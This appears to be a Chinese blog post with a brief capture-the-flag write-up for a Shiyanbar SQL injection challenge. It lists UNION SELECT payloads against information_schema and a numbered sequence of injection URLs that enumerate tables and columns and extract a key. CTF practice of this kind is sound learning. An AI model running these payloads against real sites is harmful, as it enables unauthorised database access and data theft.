zoukankan      html  css  js  c++  java
  • 实验吧这题看起来很简单

    知识点:查询库名:union select 1,schema_name from information_schema.schemata

        查询表名:union select 1,table_name from information_schema.tables where table_schema='库名' 

        查询字段名:union select 1,column_name from information_schema.columns where table_name='表名'

        查询信息:union select 1,名字 from 字段名

    1.http://ctf5.shiyanbar.com/8/index.php?id=1 and 1 = 1

    没变,说明存在注入漏洞

    2.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata

    3.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,table_name from information_schema.tables where table_schema='my_db'

    4.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,column_name from information_schema.columns where table_name='thiskey'

    5.http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey

  • 相关阅读:
    Pascal's Triangle
    Pascal's Triangle II
    贪心算法入门
    Jump Game
    Symmetric Tree
    Reverse Words in a String
    [BZOJ2342][Shoi2011]双倍回文
    [HDU3068]最长回文
    [POJ1984]Navigation Nightmare
    [BZOJ3295][Cqoi2011]动态逆序对
  • 原文地址:https://www.cnblogs.com/liqik/p/10609238.html
Copyright © 2011-2022 走看看